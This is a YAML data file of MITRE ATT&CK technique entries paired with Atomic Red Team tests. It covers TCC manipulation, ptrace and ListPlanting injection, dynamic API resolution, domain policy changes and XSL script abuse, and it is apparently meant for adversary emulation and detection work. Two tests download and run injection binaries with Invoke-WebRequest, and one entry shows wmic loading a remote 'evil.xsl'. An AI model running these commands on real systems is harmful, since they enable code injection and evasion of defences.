        description: Microsoft. (2022, November 3). Getting started with App-V for
          Windows client. Retrieved February 6, 2024.
        url: https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started
      - source_name: 5 - appv
        description: Nick Landers, Casey Smith. (n.d.). /Syncappvpublishingserver.vbs.
          Retrieved February 6, 2024.
        url: https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/
      - source_name: 7 - appv
        description: Nick Landers. (2017, August 8). Need a signed alternative to
          Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered..
          Retrieved February 6, 2024.
        url: https://twitter.com/monoxgas/status/895045566090010624
      - source_name: 3 - appv
        description: 'Raj Chandel. (2022, March 17). Indirect Command Execution: Defense
          Evasion (T1202). Retrieved February 6, 2024.'
        url: https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/
      - source_name: 1 - appv
        description: SEONGSU PARK. (2022, December 27). BlueNoroff introduces new
          methods bypassing MoTW. Retrieved February 6, 2024.
        url: https://securelist.com/bluenoroff-methods-bypass-motw/108383/
      - source_name: 6 - appv
        description: Strontic. (n.d.). SyncAppvPublishingServer.exe. Retrieved February
          6, 2024.
        url: https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1548.006:
    technique:
      modified: '2024-04-17T00:02:12.021Z'
      name: TCC Manipulation
      description: "Adversaries can manipulate or abuse the Transparency, Consent,
        & Control (TCC) service or database to execute malicious applications with
        elevated permissions. TCC is a Privacy & Security macOS control mechanism
        used to determine if the running process has permission to access the data
        or services protected by TCC, such as screen sharing, camera, microphone,
        or Full Disk Access (FDA).\n\nWhen an application requests to access data
        or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database,
        located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent),
        for existing permissions. If permissions do not exist, then the user is prompted
        to grant permission. Once permissions are granted, the database stores the
        application's permissions and will not prompt the user again unless reset.
        For example, when a web browser requests permissions to the user's webcam,
        once granted the web browser may not explicitly prompt the user again.(Citation:
        welivesecurity TCC)\n\nAdversaries may manipulate the TCC database or otherwise
        abuse the TCC service to execute malicious content. This can be done in various
        ways, including using privileged system applications to execute malicious
        payloads or manipulating the database to grant their application TCC permissions.
        \n\nFor example, adversaries can use Finder, which has FDA permissions by
        default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002)
        while preventing a user prompt. For a system without System Integrity Protection
        (SIP) enabled, adversaries have also manipulated the operating system to load
        an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation:
        TCC macOS bypass)(Citation: TCC Database)\n\nAdversaries may also opt to instead
        inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055))
        into targeted applications with the desired TCC permissions.\n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Marina Liang
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb
      created: '2024-03-21T21:10:57.322Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/006
        external_id: T1548.006
      - source_name: welivesecurity TCC
        description: 'Marc-Etienne M.Léveillé. (2022, July 19). I see what you did
          there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.'
        url: https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/
      - source_name: TCC Database
        description: 'Marina Liang. (2024, April 23). Return of the mac(OS): Transparency,
          Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.'
        url: https://interpressecurity.com/resources/return-of-the-macos-tcc/
      - source_name: TCC macOS bypass
        description: Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy
          Protections By Accident and Design. Retrieved March 21, 2024.
        url: https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1055.008:
    technique:
      x_mitre_platforms:
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f
      type: attack-pattern
      created: '2020-01-14T01:33:19.065Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.008
        url: https://attack.mitre.org/techniques/T1055/008
      - source_name: PTRACE man
        url: http://man7.org/linux/man-pages/man2/ptrace.2.html
        description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's
          Manual. Retrieved February 21, 2020.
      - source_name: Medium Ptrace JUL 2018
        url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
        description: Jain, S. (2018, July 25). Code injection in running process using
          ptrace. Retrieved February 21, 2020.
      - source_name: BH Linux Inject
        url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
        description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February
          21, 2020.
      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
        source_name: ArtOfMemoryForensics
      - url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        source_name: GNU Acct
      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        source_name: RHEL auditd
      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        source_name: Chokepoint preload rootkits
      modified: '2022-04-25T14:00:00.188Z'
      name: Ptrace System Calls
      description: "Adversaries may inject malicious code into processes via ptrace
        (process trace) system calls in order to evade process-based defenses as well
        as possibly elevate privileges. Ptrace system call injection is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nPtrace system call injection involves attaching to and modifying a running
        process. The ptrace system call enables a debugging process to observe and
        control another process (and each individual thread), including changing memory
        and register values.(Citation: PTRACE man) Ptrace system call injection is
        commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>)
        then invoking that memory with <code>PTRACE_SETREGS</code> to set the register
        containing the next instruction to execute. Ptrace system call injection can
        also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>,
        which copy data to a specific address in the target processes’ memory (ex:
        the current address of the next instruction). (Citation: PTRACE man)(Citation:
        Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible
        targeting processes that are non-child processes and/or have higher-privileges.(Citation:
        BH Linux Inject) \n\nRunning code in the context of another process may allow
        access to the process's memory, system/network resources, and possibly elevated
        privileges. Execution via ptrace system call injection may also evade detection
        from security products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring for Linux specific calls such as the ptrace system
        call should not generate large amounts of data due to their specialized nature,
        and can be a very effective method to detect some of the common process injection
        methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation:
        RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nAnalyze process
        behavior to determine if a process is performing actions it usually does not,
        such as opening network connections, reading files, or other suspicious actions
        that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'Process: Process Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1027.007:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4
      created: '2022-08-22T20:42:08.498Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1027.007
        url: https://attack.mitre.org/techniques/T1027/007
      - source_name: Huntress API Hash
        url: https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
        description: 'Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing
          API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August
          22, 2022.'
      - source_name: BlackHat API Packers
        url: https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf
        description: Choi, S. (2015, August 6). Obfuscated API Functions in Modern
          Packers. Retrieved August 22, 2022.
      - source_name: Drakonia HInvoke
        url: https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03
        description: drakonia. (2022, August 10). HInvoke and avoiding PInvoke. Retrieved
          August 22, 2022.
      - source_name: IRED API Hashing
        url: https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
        description: spotheplanet. (n.d.). Windows API Hashing in Malware. Retrieved
          August 22, 2022.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.

        API functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)

        To avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.

        Various methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Obfuscated Files or Information: Dynamic API Resolution'
      x_mitre_detection: ''
      kill_chain_phases:
      - phase_name: defense-evasion
        kill_chain_name: mitre-attack
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'File: File Metadata'
      - 'Process: OS API Execution'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1027.007
    atomic_tests:
    - name: Dynamic API Resolution-Ninja-syscall
      auto_generated_guid: 578025d5-faa9-4f6d-8390-aae739d507e1
      description: 'This test calls NtCreateFile via API hashing and dynamic syscall
        resolution. I have dubbed this particular combination of techniques ''Ninja-syscall''.
        When successful, a new file named ''hello.log'' will be created in the default
        user''s temporary folder, which is a common location for a dropper.

        '
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: PE binary
          type: path
          default: PathToAtomicsFolder\T1027.007\bin\ninja_syscall1.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Portable Executable to run must exist at specified location
          (#{exe_binary})

          '
        prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.007/bin/ninja_syscall1.exe" -OutFile "#{exe_binary}"
      executor:
        command: |
          Start-Process "#{exe_binary}"
          Start-Sleep -Seconds 7
          if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log") { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host "[+] hello.log removed." }
        cleanup_command: if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log")
          { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host
          "[+] hello.log removed." }
        name: powershell
        elevation_required: true
  T1055.015:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - ESET
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99
      type: attack-pattern
      created: '2021-11-22T15:02:15.190Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.015
        url: https://attack.mitre.org/techniques/T1055/015
      - source_name: Microsoft List View Controls
        url: https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview
        description: Microsoft. (2021, May 25). About List-View Controls. Retrieved
          January 4, 2022.
      - source_name: Modexp Windows Process Injection
        url: https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/
        description: 'odzhan. (2019, April 25). Windows Process Injection: WordWarping,
          Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline.
          Retrieved November 15, 2021.'
      - source_name: ESET InvisiMole June 2020
        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Process Injection: ListPlanting'
      description: "Adversaries may abuse list-view controls to inject malicious code
        into hijacked processes in order to evade process-based defenses as well as
        possibly elevate privileges. ListPlanting is a method of executing arbitrary
        code in the address space of a separate live process. Code executed via ListPlanting
        may also evade detection from security products since the execution is masked
        under a legitimate process.\n\nList-view controls are user interface windows
        used to display collections of items.(Citation: Microsoft List View Controls)
        Information about an application's list-view settings are stored within the
        process' memory in a <code>SysListView32</code> control.\n\nListPlanting (a
        form of message-passing \"shatter attack\") may be performed by copying code
        into the virtual address space of a process that uses a list-view control
        then using that code as a custom callback for sorting the listed items.(Citation:
        Modexp Windows Process Injection) Adversaries must first copy code into the
        target process’ memory space, which can be performed various ways including
        by directly obtaining a handle to the <code>SysListView32</code> child of
        the victim process window (via Windows API calls such as <code>FindWindow</code>
        and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055)
        methods.\n\nSome variations of ListPlanting may allocate memory in the target
        process but then use window messages to copy the payload, to avoid the use
        of the highly monitored <code>WriteProcessMemory</code> function. For example,
        an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code>
        API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code>
        messages, effectively copying a payload 2 bytes at a time to the allocated
        memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered
        by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code>
        child of the process window, with the payload within the newly allocated buffer
        passed and executed as the <code>ListView_SortItems</code> callback."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>FindWindow</code>, <code>FindWindowEx</code>, <code>EnumWindows</code>,
        <code>EnumChildWindows</code>, and those that can be used to modify memory
        within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be abused for this technique. \n\nConsider monitoring for excessive use
        of <code>SendMessage</code> and/or <code>PostMessage</code> API functions
        with <code>LVM_SETITEMPOSITION</code> and/or <code>LVM_GETITEMPOSITION</code>
        arguments.\n\nAnalyze process behavior to determine if a process is performing
        unusual actions, such as opening network connections, reading files, or other
        suspicious actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Modification'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.015
    atomic_tests:
    - name: Process injection ListPlanting
      auto_generated_guid: 4f3c7502-b111-4dfe-8a6e-529307891a59
      description: This test injects shellcode into a remote RegEdit process using
        the ListPlanting technique. ListPlanting exploits Window with ListView control.
        Code write to memory with NtWriteVirtualMemory. The shellcode is executed
        via PostMessage. When successful, a message box will appear with the title
        "Warning" and the content "Atomic Red Team" after a few seconds. Notepad will
        open following the appearance of the message box.
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: PE binary
          type: path
          default: PathToAtomicsFolder\T1055.015\bin\ListPlanting.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Injector ListPlanting.exe must exist at specified location (#{exe_binary})

          '
        prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.015/bin/ListPlanting.exe" -OutFile "#{exe_binary}"
      executor:
        command: |-
          Start-Process "#{exe_binary}"
          Start-Sleep -Seconds 7
          Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: true
  T1484:
    technique:
      modified: '2024-04-19T04:27:31.884Z'
      name: Domain or Tenant Policy Modification
      description: "Adversaries may modify the configuration settings of a domain
        or identity tenant to evade defenses and/or escalate privileges in centrally
        managed environments. Such services provide a centralized means of managing
        identity resources such as devices and accounts, and often include configuration
        settings that may apply between domains or tenants such as trust relationships,
        identity syncing, or identity federation.\n\nModifications to domain or tenant
        settings may include altering domain Group Policy Objects (GPOs) in Microsoft
        Active Directory (AD) or changing trust settings for domains, including federation
        trusts relationships between domains or tenants.\n\nWith sufficient permissions,
        adversaries can modify domain or tenant policy settings. Since configuration
        settings for these services apply to a large number of identity resources,
        there are a great number of potential attacks malicious outcomes that can
        stem from this abuse. Examples of such abuse include:  \n\n* modifying GPOs
        to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)
        to computers throughout the domain environment(Citation: ADSecurity GPO Persistence
        2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n*
        modifying domain trusts to include an adversary-controlled domain, allowing
        adversaries to  forge access tokens that will subsequently be accepted by
        victim domain resources(Citation: Microsoft - Customer Guidance on Recent
        Nation-State Cyber Attacks)\n* changing configuration settings within the
        AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n*
        adding new, adversary-controlled federated identity providers to identity
        tenants, allowing adversaries to authenticate as any user managed by the victim
        tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may
        temporarily modify domain or tenant policy, carry out a malicious action(s),
        and then revert the change to remove suspicious indicators."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Obsidian Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)

        Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - SaaS
      x_mitre_version: '3.0'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Deletion'
      - 'Active Directory: Active Directory Object Creation'
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      - 'Application Log: Application Log Content'
      x_mitre_defense_bypassed:
      - System access controls
      - File system access controls
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d
      created: '2019-03-07T14:10:32.650Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1484
        external_id: T1484
      - source_name: CISA SolarWinds Cloud Detection
        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
          in Microsoft Cloud Environments. Retrieved January 8, 2021.
        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
      - source_name: ADSecurity GPO Persistence 2016
        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
          #17: Group Policy. Retrieved March 5, 2019.'
        url: https://adsecurity.org/?p=2716
      - source_name: Microsoft 365 Defender Solorigate
        description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft
          365 Defender to protect against Solorigate. Retrieved January 7, 2021.
        url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
          December 30, 2020.
        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
      - source_name: Microsoft - Update or Repair Federated domain
        description: Microsoft. (2020, September 14). Update or repair the settings
          of a federated domain in Office 365, Azure, or Intune. Retrieved December
          30, 2020.
        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
      - source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 30, 2020.
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
      - source_name: Okta Cross-Tenant Impersonation 2023
        description: 'Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant
          Impersonation: Prevention and Detection. Retrieved February 15, 2024.'
        url: https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
      - source_name: Wald0 Guide to GPOs
        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
          OUs. Retrieved March 5, 2019.
        url: https://wald0.com/?p=179
      - source_name: Harmj0y Abusing GPO Permissions
        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
          March 5, 2019.
        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
      - source_name: Sygnia Golden SAML
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
        url: https://www.sygnia.co/golden-saml-advisory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1220:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Avneet Singh
      - Casey Smith
      - Praetorian
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3
      created: '2018-10-17T00:14:20.652Z'
      x_mitre_version: '1.2'
      external_references:
      - source_name: mitre-attack
        external_id: T1220
        url: https://attack.mitre.org/techniques/T1220
      - source_name: Reaqta MSXSL Spearphishing MAR 2018
        url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
        description: Admin. (2018, March 2). Spear-phishing campaign leveraging on
          MSXSL. Retrieved July 3, 2018.
      - source_name: Twitter SquiblyTwo Detection APR 2018
        url: https://twitter.com/dez_/status/986614411711442944
        description: Desimone, J. (2018, April 18). Status Update. Retrieved July
          3, 2018.
      - source_name: LOLBAS Wmic
        url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/
        description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.
      - source_name: Microsoft msxsl.exe
        url: https://www.microsoft.com/download/details.aspx?id=21714
        description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe).
          Retrieved July 3, 2018.
      - source_name: Penetration Testing Lab MSXSL July 2017
        url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
        description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved
          July 3, 2018.
      - source_name: XSL Bypass Mar 2019
        url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
        description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to
          Proxy Code Execution. Retrieved August 2, 2019.
      - source_name: Microsoft XSLT Script Mar 2017
        url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
        description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting
          Using <msxsl:script>. Retrieved July 3, 2018.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

        Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

        Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

        * <code>msxsl.exe customers[.]xml script[.]xsl</code>
        * <code>msxsl.exe script[.]xsl script[.]xsl</code>
        * <code>msxsl.exe script[.]jpeg script[.]jpeg</code>

        Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

        Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

        * Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
        * Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: XSL Script Processing
